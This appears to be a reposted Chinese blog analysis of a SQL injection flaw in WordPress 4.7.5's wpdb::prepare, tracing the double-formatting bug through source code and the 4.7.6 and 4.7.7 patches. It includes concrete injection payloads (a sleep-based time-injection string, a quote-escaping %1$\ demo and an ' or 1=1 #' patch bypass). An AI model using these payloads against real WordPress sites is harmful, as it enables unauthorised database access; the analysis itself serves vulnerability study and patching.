美文网首页七星网络安全
wordpress 4.7.5 sqli注入分析

wordpress 4.7.5 sqli注入分析

作者: rivir | 来源:发表于2017-12-18 18:56 被阅读34次

    在wordpress版本<=4.7.5的版本中爆出了一个sqli注入漏洞,漏洞发生在WP的后台上传图片的位置,通过修改图片在数据库中的参数,以及利用php的sprintf函数的特性,在删除图片时,导致'单引号的逃逸。漏洞利用较为困难。

    跟踪调试文件, 先来到upload.php 删除图片的地方:

    case 'delete':
        if ( !isset( $post_ids ) )
            break;
        foreach ( (array) $post_ids as $post_id_del ) {
            if ( !current_user_can( 'delete_post', $post_id_del ) )
                wp_die( __( 'Sorry, you are not allowed to delete this item.' ) );
    
            if ( !wp_delete_attachment( $post_id_del ) )
                wp_die( __( 'Error in deleting.' ) );
        }
        $location = add_query_arg( 'deleted', count( $post_ids ), $location );
        break;
    

    这之前有两次验证_wpnonce的地方,因此一定要得到_wpnonce才能继续下去

    进入wp_delete_attachment( $post_id_del ) 函数, $post_id_del是图片的postid

    在post.php 4778行的wp_delete_attachement函数的地方, 调用了delete_metadata 函数,

    delete_metadata( 'post', null, '_thumbnail_id', $post_id, true );
    

    漏洞触发点主要在wp-includes/meta.php 的 delete_metadata函数里面, 有如下代码:

    if ( $delete_all ) {
        $value_clause = '';
        if ( '' !== $meta_value && null !== $meta_value && false !== $meta_value ) {
            $value_clause = $wpdb->prepare( " AND meta_value = %s", $meta_value );
        }
    
        $object_ids = $wpdb->get_col( $wpdb->prepare( "SELECT $type_column FROM $table WHERE meta_key = %s $value_clause", $meta_key ) );
    }
    

    该语句执行的sql语句是下面这句,调用prepare函数把$meta_key 传给$s参数位置, 但该语句存在明显的字符拼接:$value_clause

    $wpdb->prepare( "SELECT $type_column FROM $table WHERE meta_key = %s $value_clause", $meta_key )
    

    我们来看下$value_clause拼接的参数:

    $value_clause = $wpdb->prepare( " AND meta_value = %s", $meta_value );
    }
    

    拼接的参数同样调用了prepare函数,我们来看下prepare函数:

    public function prepare( $query, $args ) {
        if ( is_null( $query ) )
            return;
    
        // This is not meant to be foolproof -- but it will catch obviously incorrect usage.
        if ( strpos( $query, '%' ) === false ) {
            _doing_it_wrong( 'wpdb::prepare', sprintf( __( 'The query argument of %s must have a placeholder.' ), 'wpdb::prepare()' ), '3.9.0' );
        }
    
        $args = func_get_args();
        array_shift( $args );
        // If args were passed as an array (as in vsprintf), move them up
        if ( isset( $args[0] ) && is_array($args[0]) )
            $args = $args[0];
        $query = str_replace( "'%s'", '%s', $query ); // in case someone mistakenly already singlequoted it
        $query = str_replace( '"%s"', '%s', $query ); // doublequote unquoting
        $query = preg_replace( '|(?<!%)%f|' , '%F', $query ); // Force floats to be locale unaware
        $query = preg_replace( '|(?<!%)%s|', "'%s'", $query ); // quote the strings, avoiding escaped strings like %%s
        array_walk( $args, array( $this, 'escape_by_ref' ) );
        return @vsprintf( $query, $args );
    }
    

    有意思的是prepare函数先把'%s'替换为%s,再把%s 替换为'%s', 然后调用vsprintf函数格式化字符串

    我们来看下sprintf(vsprintf同sprintf)函数的语法

    <?php
    $s = 'monkey';
    $t = 'many monkeys';
    
    printf("[%010s]\n",   $s); 
    printf("[%'#10s]\n",  $s); 
    printf("[%\'#10s]\n",  $s);
    printf("[%'110s]\n",  $s); 
    ?>
    
    >>>
    [0000monkey]
    [####monkey]
    [1111monkey]
    ['#10s]
    

    可以看到sprintf 中的占位符% 后面如果是单引号,那么单引号后的一个字符会作为padding填充字符串。

    如果我们改变meta_value的值位22%1$%s and sleep(3)#

    经过第一个vsprintf的处理后变成

    AND meta_value = '22%1$'%s' and sleep(3)#'
    

    第一次拼接后又进入一次sprintf函数,此时的sql语句为:

    "SELECT $type_column FROM $table WHERE meta_key = %s AND meta_value = '22%1$'%s' and sleep(3)#'", $meta_key
    

    经过prepare处理后的语句为:

    "SELECT $type_column FROM $table WHERE meta_key = '_thumbnail_id' AND meta_value = '22_thumbnail_id' and sleep(3)#'"
    

    格式化后把%1$'%s 替换为_thumbnail_id(单引号后面的%被当作一个padding字符了,而不是占位符), 这样就逃逸出了一个单引号了,这个SQL注入不会报错,只能使用延时注入,而且需要后台的上传权限,所以利用起来比较困难。

    vsprintf更广泛的漏洞利用,不检查字符类型

    vprintf/printf还有一个更加严重的问题,对格式化的字符类型没做检查。

    在php的格式化字符串中,%后的一个字符(除了'%',%%相当于转义了%)会被当作字符类型,而被吃掉,单引号,斜杠\也不例外。

    翻看源码, ext/standard/formatted_print.c

    switch (format[inpos]) {
        case 's': {
            zend_string *t;
            zend_string *str = zval_get_tmp_string(tmp, &t);
            php_sprintf_appendstring(&result, &outpos,
                                     ZSTR_VAL(str),
                                     width, precision, padding,
                                     alignment,
                                     ZSTR_LEN(str),
                                     0, expprec, 0);
            zend_tmp_string_release(t);
            break;
        }
    
        case 'd':
            php_sprintf_appendint(&result, &outpos,
                                  zval_get_long(tmp),
                                  width, padding, alignment,
                                  always_sign);
            break;
    
        case 'u':
            php_sprintf_appenduint(&result, &outpos,
                                  zval_get_long(tmp),
                                  width, padding, alignment);
            break;
    
        case 'g':
        case 'G':
        case 'e':
        case 'E':
        case 'f':
        case 'F':
            php_sprintf_appenddouble(&result, &outpos,
                                     zval_get_double(tmp),
                                     width, padding, alignment,
                                     precision, adjusting,
                                     format[inpos], always_sign
                                    );
            break;
    
        case 'c':
            php_sprintf_appendchar(&result, &outpos,
                                (char) zval_get_long(tmp));
            break;
    
        case 'o':
            php_sprintf_append2n(&result, &outpos,
                                 zval_get_long(tmp),
                                 width, padding, alignment, 3,
                                 hexchars, expprec);
            break;
    
        case 'x':
            php_sprintf_append2n(&result, &outpos,
                                 zval_get_long(tmp),
                                 width, padding, alignment, 4,
                                 hexchars, expprec);
            break;
    
        case 'X':
            php_sprintf_append2n(&result, &outpos,
                                 zval_get_long(tmp),
                                 width, padding, alignment, 4,
                                 HEXCHARS, expprec);
            break;
    
        case 'b':
            php_sprintf_append2n(&result, &outpos,
                                 zval_get_long(tmp),
                                 width, padding, alignment, 1,
                                 hexchars, expprec);
            break;
    
        case '%':
            php_sprintf_appendchar(&result, &outpos, '%');
    
            break;
        default:
            break;
    }
    
    

    可以看到, php源码中只对15种类型做了匹配, 其他字符类型都直接break了,php未做任何处理,直接跳过,所以导致了这个问题

    没做字符类型检测的最大危害就是它可以吃掉一个转义符\, 如果%后面出现一个\,那么php会把\当作一个格式化字符的类型而吃掉\, 最后%\(或%1$\)被替换为空

    <?php
    
    $input = addslashes("%1$' and 1=1#");
    echo $input;
    echo "\n";
    $b = sprintf("AND b='%s'",$input);
    echo $b;
    echo "\n";
    $sql = sprintf("select * from t where a='%s' $b",'admin');
    echo $sql;
    
    >>>
    %1$\' and 1=1#
    AND b='%1$\' and 1=1#'
    select * from t where a='admin' AND b='' and 1=1#'
    

    格式字符%后面会吃掉一个\%1$\被替换为空,逃逸出来一个单引号,造成注入.

    总结

    漏洞利用条件

    1. sql语句进行了字符拼接
    2. 拼接语句和原sql语句都用了vsprintf/sprintf 函数来格式化字符串

    官方补丁

    在wordpress4.7.6的修复中是这样的,prepare函数;

    $query = str_replace( "'%s'", '%s', $query ); // in case someone mistakenly already singlequoted it
    $query = str_replace( '"%s"', '%s', $query ); // doublequote unquoting
    $query = preg_replace( '|(?<!%)%f|' , '%F', $query ); // Force floats to be locale unaware
    $query = preg_replace( '|(?<!%)%s|', "'%s'", $query ); // quote the strings, avoiding escaped strings like %%s
    $query = preg_replace( '/%(?:%|$|([^dsF]))/', '%%\\1', $query ); // escape any unescaped percents 
    array_walk( $args, array( $this, 'escape_by_ref' ) );
    return @vsprintf( $query, $args );
    

    只是多了一行:$query = preg_replace( '/%(?:%|$|([^dsF]))/', '%%\\1', $query );

    这个正则的意思就是只允许 %后面出现dsF 这三种字符类型, 其他字符类型都替换为%%\\1, 而且还禁止了%, $ 这种参数定位, 基本meta_value 参数是完全过滤掉了

    然而补丁是可以被绕过的, 补丁的思路是正确的, 然而官方只是修复了格式化字类型没有检测的错误,用白名单对字符类型进行过滤, 却并没有修复prepare两次格式化字符串的漏洞,导致补丁可以进一步被绕过, 如下demo:

    function prepare($query,$args){
        $query = str_replace( "'%s'", '%s', $query );
        $query = preg_replace( '|(?<!%)%s|', "'%s'", $query );
        $query = preg_replace( '/%(?:%|$|([^dsF]))/', '%%\\1', $query );
        // preg_match('/%(?:%|$|([^dsF]))/',$query,$matchs);
        // var_dump($matchs);
        $query = vsprintf($query, $args);
        return $query;
    }
    
    $meta_value = ' %s ';
    $query = " and meta_value= %s ";
    $query = prepare($query,$meta_value);
    echo $query;
    
    $meta_key = ['dump',' or 1=1 #'];
    $sql = "select * from table where meta_key = %s $query";
    $sql = prepare($sql,$meta_key);
    echo $sql;
    
    >>>
     and meta_value= ' %s ' 
    select * from table where meta_key = 'dump'  and meta_value= ' ' or 1=1 #' '
    

    meta_value 只是传入一个简单的%s,(注意前后两个空格,否则无法绕过第一个替换), 符合白名单的要求,然后在meta_key的位置传入payload: or 1=1 /* , meta_value 传入的%s经过两次格式化字符串后变成'' %s '', 自动闭合了前一个单引号,导致绕过

    在wordpress 4.7.7中已经修复了该问题, 补丁如下。

    $allowed_format = '(?:[1-9][0-9]*[$])?[-+0-9]*(?: |0|\'.)?[-+0-9]*(?:\.[0-9]+)?';
    
    $query = str_replace( "'%s'", '%s', $query ); // Strip any existing single quotes.
    $query = str_replace( '"%s"', '%s', $query ); // Strip any existing double quotes.
    $query = preg_replace( '/(?<!%)%s/', "'%s'", $query ); // Quote the strings, avoiding escaped strings like %%s.
    $query = preg_replace( "/(?<!%)(%($allowed_format)?f)/" , '%\\2F', $query ); // Force floats to be locale unaware.
    $query = preg_replace( "/%(?:%|$|(?!($allowed_format)?[sdF]))/", '%%\\1', $query ); // Escape any unescaped percents.
    // Count the number of valid placeholders in the query.
    $placeholders = preg_match_all( "/(^|[^%]|(%%)+)%($allowed_format)?[sdF]/", $query, $matches );
    if ( count( $args ) !== $placeholders ) {
        if ( 1 === $placeholders && $passed_as_array ) {
            // If the passed query only expected one argument, but the wrong number of arguments were sent as an array, bail.
            wp_load_translations_early();
            _doing_it_wrong( 'wpdb::prepare', __( 'The query only expected one placeholder, but an array of multiple placeholders was sent.' ), '4.9.0' );
            return;
        } else {
            /*
             * If we don't have the right number of placeholders, but they were passed as individual arguments,
             * or we were expecting multiple arguments in an array, throw a warning.
             */
            wp_load_translations_early();
            _doing_it_wrong( 'wpdb::prepare',
                /* translators: 1: number of placeholders, 2: number of arguments passed */
                sprintf( __( 'The query does not contain the correct number of placeholders (%1$d) for the number of arguments passed (%2$d).' ),
                    $placeholders,
                    count( $args ) ),
                '4.8.3'
            );
        }
    }
    array_walk( $args, array( $this, 'escape_by_ref' ) );
    $query = @vsprintf( $query, $args );
    return $this->add_placeholder_escape( $query );
    }
    

    参考: https://paper.seebug.org/386/

    https://lorexxar.cn/2017/10/25/wordpress/

    相关文章

      网友评论

        本文标题:wordpress 4.7.5 sqli注入分析

        本文链接:https://www.haomeiwen.com/subject/rwnmwxtx.html